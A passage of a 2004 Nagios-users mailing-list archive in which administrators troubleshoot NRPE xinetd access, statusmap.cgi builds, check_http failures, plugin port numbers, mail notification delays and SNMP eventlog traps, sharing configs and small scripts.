/home/labonte/NRPE/nrpe-2.0/ --xinetd log_on_failure += USERID disable = no only_from = 127.0.0.1 } Although I seem to have followed all of the steps, to the letter, I am receiving the following error when attempting to use NRPE: CHECK_NRPE: Received 0 bytes from daemon. Check the remote server logs for error messages. I would like to know if anyone can tell me what I have overlooked, or steer me in the right direction so that I can get this ball rolling. All help will be GREATLY appreciated! Diane ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From sghosh at sghosh.org Wed Mar 17 19:36:10 2004 From: sghosh at sghosh.org (Subhendu Ghosh) Date: Wed, 17 Mar 2004 13:36:10 -0500 (EST) Subject: using nrpe daemona on irix system In-Reply-To: <1079538588.4428.24.camel@pel> References: <1079538588.4428.24.camel@pel> Message-ID: On Wed, 17 Mar 2004, Sean Dilda wrote: > On Wed, 2004-03-17 at 10:07, Markus.Roelle at sytech.de wrote: > > > > > > Hi > > I'd like to use the nrpe daemon on an Irix system. > > My prolem is I can not compile the nrpe c-files because there are some > > headerfiles missing, the compiler need. > > > > It's about headerfiles from other librarys which where used by the > > compiler. > > inet.h > > syslog.h > > strings.h > > stdint.h > > pwd.h > > netdb.h > > grp.h > > > > I need to have Irix specific ones. Where can I get them ? > > > > Or does anyone have a Irix compiled version ? > > I'm not that familiar with Irix, but those header files are pretty > common ones. I'm pretty sure they're all part of the C library. Your > Irix install media should have a package of some sort that contains > those files. Most linux distros list them a (g)libc development. > They're needed to compile just about any program. > > Also make sure you are compiling for 32bit and not 64bit on Irix. -- -sg ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From tkraft8 at comcast.net Wed Mar 17 19:41:06 2004 From: tkraft8 at comcast.net (Tom Kraft) Date: Wed, 17 Mar 2004 12:41:06 -0600 Subject: Statusmap Message-ID: Does anyone know why statusmap.c will not compile like the other cgi's. Thank you, Tom -------------- next part -------------- An HTML attachment was scrubbed... URL: From twmoore at bea.com Wed Mar 17 19:42:35 2004 From: twmoore at bea.com (Timothy Moore) Date: Wed, 17 Mar 2004 11:42:35 -0700 Subject: check_http problem Message-ID: <1CD25D3A9280C9469A6564995E0C18D887AA59@usdeex01.amer.bea.com> I am having a problem with check_http. I have serveral http services that work fine. I added some new services, but get a critical return code and "No data received". If I run the command manually, it works fine. any ideas? $ $ ./check_http -H myhost -w 5 -c 10 -p 80 HTTP ok: HTTP/1.0 301 Moved Permanently - 0.004 second response time |time= 0.004 $ $ ./check_http -H myhost -w 5 -c 10 -p 80 -f follow HTTP ok: HTTP/1.1 200 OK - 0.020 second response time |time= 0.020 $ Timothy W. Moore bea Systems 4610 S. Ulster St. Suite 100 Denver, CO 80237 720-528-6177 <> -------------- next part -------------- A non-text attachment was scrubbed... Name: Timothy Moore.vcf Type: text/x-vcard Size: 202 bytes Desc: Timothy Moore.vcf URL: From maldrich at i-centrix.com Wed Mar 17 19:35:34 2004 From: maldrich at i-centrix.com (Michael Aldrich) Date: Wed, 17 Mar 2004 13:35:34 -0500 Subject: statusmap.cgi In-Reply-To: References: Message-ID: /usr/lib/nagios/cgi/statusmap.cgi ? -----Original Message----- From: nagios-users-admin at lists.sourceforge.net [mailto:nagios-users-admin at lists.sourceforge.net]On Behalf Of Tom Kraft Sent: Wednesday, March 17, 2004 1:30 PM To: nagios-users at lists.sourceforge.net Subject: [Nagios-users] statusmap.cgi Where can I find the statusmap.cgi. I compiled and install nagios but it didn't put a statusmap.cgi in nagios/sbin directory. Tom -------------- next part -------------- An HTML attachment was scrubbed... URL: From WDougallJR at nwdtc.com Wed Mar 17 20:02:44 2004 From: WDougallJR at nwdtc.com (WDougallJR at nwdtc.com) Date: Wed, 17 Mar 2004 11:02:44 -0800 Subject: Plugins for Xerox Printers Message-ID: <9BFF902D0797D74F836A2B2BBCA7EA55034BD2@woody> I was wondering if anyone was monitoring any Xerox devices and if they had any custom plugins they might be able to share? TIA -Will ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From marc at ena.com Wed Mar 17 19:57:50 2004 From: marc at ena.com (Marc Powell) Date: Wed, 17 Mar 2004 12:57:50 -0600 Subject: Statusmap Message-ID: <370ACCFA5BB3B346A31222E5559BF91F03A355@mismail2.ena.com> http://www.nagios.org/faqs/viewfaq.php?faq_id=55 -- Marc ________________________________ From: Tom Kraft [mailto:tkraft8 at comcast.net] Sent: Wednesday, March 17, 2004 12:41 PM To: nagios-users at lists.sourceforge.net Subject: [Nagios-users] Statusmap Does anyone know why statusmap.c will not compile like the other cgi's. Thank you, Tom ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From tkraft8 at comcast.net Wed Mar 17 20:07:25 2004 From: tkraft8 at comcast.net (Tom Kraft) Date: Wed, 17 Mar 2004 13:07:25 -0600 Subject: Statusmap In-Reply-To: <370ACCFA5BB3B346A31222E5559BF91F03A355@mismail2.ena.com> References: <370ACCFA5BB3B346A31222E5559BF91F03A355@mismail2.ena.com> Message-ID: Thx got it -----Original Message----- From: Marc Powell [mailto:marc at ena.com] Sent: Wednesday, March 17, 2004 12:58 PM To: Tom Kraft; nagios-users at lists.sourceforge.net Subject: RE: [Nagios-users] Statusmap http://www.nagios.org/faqs/viewfaq.php?faq_id=55 -- Marc ________________________________ From: Tom Kraft [mailto:tkraft8 at comcast.net] Sent: Wednesday, March 17, 2004 12:41 PM To: nagios-users at lists.sourceforge.net Subject: [Nagios-users] Statusmap Does anyone know why statusmap.c will not compile like the other cgi's. Thank you, Tom ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From jeff.vier at tradingtechnologies.com Wed Mar 17 20:30:47 2004 From: jeff.vier at tradingtechnologies.com (jeff vier) Date: Wed, 17 Mar 2004 13:30:47 -0600 Subject: NRPE In-Reply-To: References: Message-ID: <1079551847.7327.4490.camel@localhost> On Wed, 2004-03-17 at 12:18, "Labont?, Diane" wrote: > service nrpe > { > flags = REUSE > socket_type = stream > wait = no > user = nagios > server = /home/labonte/NRPE/nrpe-2.0/src/ > server_args = -c /home/labonte/NRPE/nrpe-2.0/ --xinetd > log_on_failure += USERID > disable = no > only_from = 127.0.0.1 > } Note your "only_from" argument. You're only allowing from localhost. ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From ndressler at dinmar.com Wed Mar 17 20:14:18 2004 From: ndressler at dinmar.com (Norm Dressler) Date: Wed, 17 Mar 2004 15:14:18 -0400 Subject: Newbie Question In-Reply-To: References: Message-ID: <012ee223230cc411a64afa4703fd86b8@fpott01.dinmar.com> I'm sure someone can answer this question easily, but I'm new with Nagios... On the Tactical Overview page, why under Hosts does it show in pink 10 disabled and under Active Checks 10 disabled? I have set Active checks on in the nagios.cfg file... Also, when I look at the Service Detail, there is a red X beside each host -- is that normal? Thx again! Norm ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From mark at redbrick.dcu.ie Wed Mar 17 21:30:49 2004 From: mark at redbrick.dcu.ie (Mark Campbell) Date: Wed, 17 Mar 2004 20:30:49 +0000 Subject: NRPE Problems Message-ID: <20040317203049.GA19227@carbon.redbrick.dcu.ie> Hey Guys, First off great work on Nagios, top notch work. I'm having a slight problem though. I'm developing a few inhouse monitoring scripts to keep the bean counters happy :) They're going fine expect for this one which is giving me a strange error. ./check_nrpe -H hungary -c check_oracle_net ; echo $? NRPE: Unable to read output 3 I'm able to runother scripts remotely on the same machine.... ./check_nrpe -H hungary -c oracle_inst_up ; echo $? Oracle CRITICAL: Oracle instance testiset is not available. 2 And I'm able to run the script fine on the local machine: ./check_oracle_net ; echo $? Oracle OK. 0 This is the source to the ksh script I'm using... any ideas are appricated.. -[code]- #!/bin/ksh # # Verify if all oracle instances are up - tnsnames.ora entries should be # uniform cat /etc/nagiosoracheck | while read LINE ; do case $LINE in \#*) ;; #comment-line in oratab *) # Proceed only if third field is 'Y'. if [ "`echo $LINE | awk -F: '{print $3}' -`" = "Y" ] ; then ORACLE_SID=`echo $LINE | awk -F: '{print $1}' -` if [ "$ORACLE_SID" = '*' ] ; then ORACLE_SID="" fi ORACLE_HOME=`echo $LINE | awk -F: '{print $2}' -` TNS_DIR=$ORACLE_HOME/network/admin/$ORACLE_SID'_'`hostname` . $ORACLE_HOME/$ORACLE_SID'_'`hostname`.env # Read file and test all entries... grep -v -e '^ ' -e'^\t' -e'^$' -e '^#' -e'^)' ${TNS_DIR}/tnsnames.ora | awk '{sub("=", "", $1); print $1}' | grep -v 'IFILE' | while read NAME ; do devnull=`${ORACLE_HOME}/bin/tnsping $NAME` if [ "${?}" = "1" ]; then echo "Oracle CRITICAL: Unable to ping ${NAME}." return 2 fi done fi esac done if [ $? -ne 0 ] ; then return $retval else echo "Oracle OK." return 0 fi Thanks in advance -- regards, -mark - Mark Campbell http://mark.redbrick.dcu.ie - "Trying is the first step towards Failure"- Homer J. Simpson ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From jeff.vier at tradingtechnologies.com Wed Mar 17 21:34:03 2004 From: jeff.vier at tradingtechnologies.com (jeff vier) Date: Wed, 17 Mar 2004 14:34:03 -0600 Subject: NRPE In-Reply-To: References: Message-ID: <1079555643.7327.4506.camel@localhost> You should reply to the mailing list as a whole so that everyone can benefit (if I'm right) or tell you what you *should* do (if I'm wrong) :) On Wed, 2004-03-17 at 14:10, "Labont?, Diane" wrote: > When I first configured this file, I had used that address of the remote > host, but this is where it gets a bit sticky! The remote host is actually > the nagios box. My supervisor (I am a student, doing my apprenticeship) > feels that by doing the installation like this (just for test purposes) that > it would be like a virtual test of the Nagios box. Just in passing, if I > understand the system properly, I must put the IP address here for every > server that I want to monitor? No, your xinetd daemon restricts requests to the listed IPs only. So, assuming you're writing your /etc/xinetd.d/nrpe file once (to be distributed) you'd put in a space-separated list of your nagios servers. So, it *might* work on loopback, but you may have more success putting the actual IP in there - it depends more on how you're making the call with the plugin. > As I said earlier, I looked up for info on the web, I checked my > installation, but nothing works. I just put back the IP address of the > remote (in this case the virtual) host, and I still get the same error. > > I guess that my question for you now would be, because I am not actually > going out onto another server, could this be what is creating my problem? I > think that I should add that to try to make this as real as possible a test, > the NRPE daemon was installed in my home directory which is on another > server than the Nagios installation. You can self-check with NRPE (though it *is* a bit silly, officially). I've done it a couple times for brevity of configs :) > I hope that I have described the installation well enough that you are able > to understand what I have done. If this is not clear, please let me know > and I will try again to explain. I would look at your logs. What does "grep -i nrpe /var/log/*" tell you? Here's what I do to install NRPE on a client, btw: scp a pre-packaged nrpe tarball to the client un-tar it into /usr/local/nrpe make any edits to /usr/local/nrpe/nrpe.cfg I need (usually none) then I paste this 'mini-script' into my console window: ------- echo " # default: on # description: NRPE service nrpe { flags = REUSE socket_type = stream wait = no user = nagios server = /usr/local/nrpe/nrpe server_args = -c /usr/local/nrpe/nrpe.cfg --inetd log_on_failure += USERID disable = no only_from = 119.0.0.206 119.1.0.206 }" > /etc/xinetd.d/nrpe echo "nrpe 5666/tcp # NRPE added by boinger" >> /etc/services chown -R root:daemon /usr/local/nrpe chmod -R 755 /usr/local/nrpe chmod 644 /usr/local/nrpe/nrpe.cfg /etc/init.d/xinetd reload ------- ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From agrajag at dragaera.net Wed Mar 17 21:36:06 2004 From: agrajag at dragaera.net (Sean Dilda) Date: Wed, 17 Mar 2004 15:36:06 -0500 Subject: Newbie Question In-Reply-To: <012ee223230cc411a64afa4703fd86b8@fpott01.dinmar.com> References: <012ee223230cc411a64afa4703fd86b8@fpott01.dinmar.com> Message-ID: <1079555766.4428.61.camel@pel> On Wed, 2004-03-17 at 14:14, Norm Dressler wrote: > I'm sure someone can answer this question easily, but I'm new with > Nagios... > > On the Tactical Overview page, why under Hosts does it show in pink 10 > disabled and under Active Checks 10 disabled? I have set Active checks > on in the nagios.cfg file... > Did you define a check_command for the hosts? > Also, when I look at the Service Detail, there is a red X beside each > host -- is that normal? Don't think I've ever seen that in the Service Detail? Is it a link to a command you can run through the website? ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From ndressler at dinmar.com Wed Mar 17 20:42:34 2004 From: ndressler at dinmar.com (Norm Dressler) Date: Wed, 17 Mar 2004 15:42:34 -0400 Subject: Newbie Question In-Reply-To: <1079555766.4428.61.camel@pel> References: <1079555766.4428.61.camel@pel> Message-ID: <762ee223230cc411a64afa4703fd86b8@fpott01.dinmar.com> Yes, there is a check command for each host. The red X seems to link to the CGI command interface on the web site. ------- Did you define a check_command for the hosts? > Also, when I look at the Service Detail, there is a red X beside each > host -- is that normal? Don't think I've ever seen that in the Service Detail? Is it a link to a command you can run through the website? ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From ramog at starcalif.com Wed Mar 17 23:31:36 2004 From: ramog at starcalif.com (Rochel Amog) Date: Wed, 17 Mar 2004 14:31:36 -0800 Subject: port numbers used by nagios Message-ID: <01b701c40c6f$9c2685d0$0d1fa8c0@sysadmin.starcalif.com> Is there anybody know or have identified what are the protocol port numbers used by nagios to check different services on a monitored unix and windows 2000 systems. I configured my services.cfg to check the monitored hosts using check_ping, check_disk, check_procs, check_users, check_nrpe and other plugins. I just need to identify these port numbers used by nagios to check all the unix and windows services/process so that I don't have to open up the whole ip protocol on my "access control lists" on my layer 3 switch. Any help will be appreciated... Rochel -------------- next part -------------- An HTML attachment was scrubbed... URL: From evilj at evilbucks.com Wed Mar 17 23:56:24 2004 From: evilj at evilbucks.com (Josh) Date: Wed, 17 Mar 2004 14:56:24 -0800 Subject: New Module IDEA Message-ID: <5118AFA1-7866-11D8-AEC8-000A9569B402@evilbucks.com> Does anyone can make of have a module that can take a list of urls in a plain text file and check them? Thanks, Evil Josh evilj at evilbucks.com ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From sghosh at sghosh.org Thu Mar 18 00:24:25 2004 From: sghosh at sghosh.org (Subhendu Ghosh) Date: Wed, 17 Mar 2004 18:24:25 -0500 (EST) Subject: port numbers used by nagios In-Reply-To: <01b701c40c6f$9c2685d0$0d1fa8c0@sysadmin.starcalif.com> References: <01b701c40c6f$9c2685d0$0d1fa8c0@sysadmin.starcalif.com> Message-ID: On Wed, 17 Mar 2004, Rochel Amog wrote: > Is there anybody know or have identified what are the protocol port > numbers used by nagios to check different services on a monitored unix > and windows 2000 systems. I configured my services.cfg to check the > monitored hosts using check_ping, check_disk, check_procs, check_users, > check_nrpe and other plugins. I just need to identify these port numbers > used by nagios to check all the unix and windows services/process so > that I don't have to open up the whole ip protocol on my "access control > lists" on my layer 3 switch. check_ping uses ICMP check_nrpe is user configurable and depends on the nrpe.cfg on the server check_snmp, check_ifstatus, check_ifoperstatus, check_bgpstate uses SNMP (default udp 161, but user configurable) check_by_ssh, check_ssh (default tcp 22, user configurable) check_http ( tcp80, tcp 443, user configurable) check_disk,load, procs, users are all local plugins -- -sg ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From jeff.vier at tradingtechnologies.com Thu Mar 18 00:23:00 2004 From: jeff.vier at tradingtechnologies.com (jeff vier) Date: Wed, 17 Mar 2004 17:23:00 -0600 Subject: New Module IDEA In-Reply-To: <5118AFA1-7866-11D8-AEC8-000A9569B402@evilbucks.com> References: <5118AFA1-7866-11D8-AEC8-000A9569B402@evilbucks.com> Message-ID: <1079565779.7327.4511.camel@localhost> On Wed, 2004-03-17 at 16:56, Josh wrote: > Does anyone can make of have a module that can take a list of urls in > a plain text file and check them? A fine idea, I think. If I were going to do it, I'd write a wrapper for check_http that cycles through a for loop and returns whatever the worst status of the bunch is (obviously, OK if no baddies) and, for brevity, stops processing after one baddie. Aw, hell, I'll write it for you if you want. ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From tkraft8 at comcast.net Thu Mar 18 00:43:20 2004 From: tkraft8 at comcast.net (Tom Kraft) Date: Wed, 17 Mar 2004 17:43:20 -0600 Subject: CGI Message-ID: I have gdlib, png, and jpeg loaded and nagios can see them when it is being configured. But the Statusmap, trend, and histogram still don't work. Any clue. Tom -------------- next part -------------- An HTML attachment was scrubbed... URL: From noah at mac.com Thu Mar 18 06:04:16 2004 From: noah at mac.com (Noah Leaman) Date: Wed, 17 Mar 2004 21:04:16 -0800 Subject: occasional stuck mail Message-ID: I don't believe this is actually a problem with nagios but with the mail app being used to send notifications out. I am using Mac OS X Panther so it's actually by default Postfix (not Sendmail) being used. I also am not able to reproduce the problem consistently, but it looks bad anytime people aren't notified. What is happening is once and awhile, an email notification doesn't get sent until another later email is sent. Nagios does report the notification as being sent so I believe the notify command (shown below) is being executed. It seems like the mail gets stuck in a mail queue or something and only gets sent when it sends the next mail. I am not that familiar with how mail, sendmail, or postfix actually works at this level so I am a little stumped as to where to look. could anyone perhaps just point me in the right direction? This is one of my email notifications commands as set up in my miscommands.cfg (using /usr/bin/mail): define command{ command_name notify-by-email command_line /usr/bin/printf "%b" "Notification Type: $NOTIFICATIONTYPE$\n\nService: $SERVICEDESC$\nHost: $HOSTALIAS$\nAddress: $HOSTADDRESS$\nState: $SERVICESTATE$\n\nDate/Time: $DATETIME$\n\nAdditional Info:\n\n$OUTPUT$" | /usr/bin/mail -s "$NOTIFICATIONTYPE$ alert - $HOSTALIAS$/$SERVICEDESC$ is $SERVICESTATE$" $CONTACTEMAIL$ } -- Noah ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From jhennessy at mitchamcouncil.sa.gov.au Thu Mar 18 06:29:25 2004 From: jhennessy at mitchamcouncil.sa.gov.au (Justin Hennessy) Date: Thu, 18 Mar 2004 15:59:25 +1030 Subject: Statusmap Message-ID: I have done ALL of this and this problem still remains. Where do I go next? >>> "Marc Powell" 18/03/2004 5:27:50 am >>> http://www.nagios.org/faqs/viewfaq.php?faq_id=55 -- Marc ________________________________ From: Tom Kraft [mailto:tkraft8 at comcast.net] Sent: Wednesday, March 17, 2004 12:41 PM To: nagios-users at lists.sourceforge.net Subject: [Nagios-users] Statusmap Does anyone know why statusmap.c will not compile like the other cgi's. Thank you, Tom ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From adam at luchjenbroers.com Thu Mar 18 07:24:45 2004 From: adam at luchjenbroers.com (Adam Luchjenbroers) Date: Thu, 18 Mar 2004 1:24:45 -0500 Subject: (no subject) Message-ID: <200403180624.BAA95742@m1.name2host.com> I have written a perl script which parses incoming syslog data and submits information to nagios via the command file. I am having an issue where the reported time in Nagios is 12 hours in front of what it should be, this issue only exists for this particular service. The code used to do the translations from date to epoch and epoch to date are provided below. sub epoch { open (DATE, "date -d \'$_[0]\' +\%s 2> /dev/null |"); $epoch = ; if ($epoch == 0) { open (DATE, "date +\%s |"); $epoch = ; } close DATE; chomp $epoch; return $epoch; } sub date { @date = localtime($_[0]); return sprintf("%s %2s %02s:%02s:%02s", $months{$date[4]}, $date[3], $date[2], $date[1], $date[0]); } The epoch to date conversion has been used specifically to test the date to epoch conversion and has verified that it functions correctly (two scripts are used to test it, one generating dates at 1hr intervals and the other converting to epoch and back and verifying that the date reported is the same). Anything people might recommend looking into? ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From gora at wittmann.sk Thu Mar 18 09:34:58 2004 From: gora at wittmann.sk (=?windows-1250?Q?Dezider_G=F3ra?=) Date: Thu, 18 Mar 2004 09:34:58 +0100 Subject: win eventlog snmp monitoring (was: ev2T -> snmptrapd -> Nagios ) Message-ID: <40595F32.7050700@wittmann.sk> Hi all, after 3 days battle I'm glad to report success on this :-) So here comes the story (if anyone's interested)... Needed stuff ev2T, http://www.ncomtech.com/download.htm net-snmp package http://www.net-snmp.org obviously nagios, libmcrypt, nsca Docs: http://nagios.sourceforge.net/docs/1_0/int-snmptrap.html Install ev2T on windows machine, and configure it. There's one small bug in ev2T, so read the info on download page. Configure it, set snmp server where to send traps, and set it to use snmp v2c. It's usefull to set filter on eventsource, otherwise it will raise trap everytime a new record appears in win eventlog. Also uncheck unneeded fields in sent trap ( like event description, event type, etc. ) Copy the mib file to mibs directory on target server and restart snmp. Configure snmp traphandle to catch the trap from win station. Well, this was my biggest problem. I'm a total newbie in snmp, so it was a trial-failure procedure.... The only way I got it to work, was to use "number representation" of ::eventLogGeneralTrap OID. So my snmptrapd.conf looks like this: traphandle .1.3.6.1.4.1.2854.6.1.2.1.0.1 /usr/local/nagios/libexec/eventhandlers/handle-eventlog-trap 2 Then it comes an easy part. Create shell script that handles passed snmp trap info and runs submit_check_results script as described at http://nagios.sourceforge.net/docs/1_0/int-snmptrap.html Passed information structure: # First line passed from snmptrapd is IP address of host that sent the trap read ip # Second line passed from snmptrapd is FQDN of host that sent the trap read host # Third line is the SysUpTime, nothing to care about too much # SNMPv2-MIB::sysUpTime.0 6:23:11:26.00 read sysup # Next is OID that raised the trap # SNMPv2-MIB::snmpTrapOID.0 EVENT-LOG-TRAP-MIB::eventLogTrapDef.0.1 read snmptrap # Now comes interesting stuff # EVENT-LOG-TRAP-MIB::eventNumber 104 read eventnum # Type of the event # EVENT-LOG-TRAP-MIB::eventType 0 read eventtype # Event source - name of the service # EVENT-LOG-TRAP-MIB::eventSource "WUSyncService" # ev2T provides more informaitons, but they're not needed for nagios send_ncsa check # Computername of the source event ( netbios name ) # EVENT-LOG-TRAP-MIB::eventComputerName "XXXXX" # read eventcompname # User specified in event # EVENT-LOG-TRAP-MIB::eventUser "Not Specified" # read eventuser # Event category # EVENT-LOG-TRAP-MIB::eventCategory 0 # read eventcat Finaly run the script to pass check result to nagios. This is how it works for me. I don't know why, but it works. I don't understand snmp, mibs, so if anyone can improve this and "shed a little light" for me, I'll be glad. hope this helps. regards, Dezider. ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From mseisdedos at mediafusion.es Thu Mar 18 09:31:35 2004 From: mseisdedos at mediafusion.es (montse) Date: Thu, 18 Mar 2004 09:31:35 +0100 Subject: check_http problem In-Reply-To: <1CD25D3A9280C9469A6564995E0C18D887AA59@usdeex01.amer.bea.com> References: <1CD25D3A9280C9469A6564995E0C18D887AA59@usdeex01.amer.bea.com> Message-ID: <002701c40cc3$6cdf8340$520101c0@mesa.local> I've the same problem, it't happens not very often, and i suspect it happens when the thread that is managing the connection dies, the socket is establish but no bytes are received... > -----Mensaje original----- > De: nagios-users-admin at lists.sourceforge.net 